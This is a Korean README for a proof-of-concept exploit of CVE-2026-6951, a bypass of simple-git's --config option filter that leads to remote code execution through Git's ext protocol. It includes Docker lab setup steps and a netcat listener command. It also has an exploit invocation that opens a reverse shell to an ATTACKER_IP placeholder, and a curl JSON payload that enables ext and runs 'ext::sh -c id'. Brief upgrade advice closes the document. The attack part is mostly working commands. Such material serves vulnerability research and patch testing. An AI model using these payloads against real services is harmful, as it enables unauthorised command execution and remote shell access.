
CVE-2026-6951에 대한 개념 증명 익스플로잇으로, Git ext 프로토콜을 통한 RCE를 가능하게 하는 simple-git --config 필터 우회이며, Docker 랩과 리버스 셸 페이로드를 포함합니다.
★ CVE-2026-6951 simple-git --config 옵션 필터 우회 RCE PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951은 CVE-2022-25912에 대한 불완전한 수정으로 인해 발생한
simple-git의 원격 코드 실행 취약점입니다.-c옵션은 차단되었지만, 동등한--config옵션은 제대로 제한되지 않았습니다. Git 인자를 제어할 수 있는 공격자는ext프로토콜을 활성화하고ext::저장소 URL을 통해 임의의 명령을 실행할 수 있습니다.
| Category | Version |
|---|---|
| 취약 | 3.36.0 이전의 simple-git 버전 |
| 패치됨 | simple-git 3.36.0 이상 |
이 환경은 simple-git 3.35.2와 @simple-git/argv-parser 1.0.3을 사용합니다.
취약한 환경을 빌드하고 실행합니다.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
다음 주소에서 서비스에 접근합니다:
http://127.0.0.1:9107
서비스 상태를 확인합니다.
curl -s http://127.0.0.1:9107/api/health
내장된 샘플 저장소는 다음 위치에서 사용할 수 있습니다:
file:///srv/git/sample.git
공격자 시스템에서 리스너를 시작합니다.
nc -lvnp 4444
익스플로잇 스크립트를 실행합니다.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
다음 요청은 제한되지 않은 --config 옵션과 Git ext 프로토콜을 악용하여 id 명령을 실행합니다.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git을 버전 3.36.0 이상으로 업그레이드하십시오.simple-git에 직접 전달하지 마십시오.ext:: URL을 거부하십시오.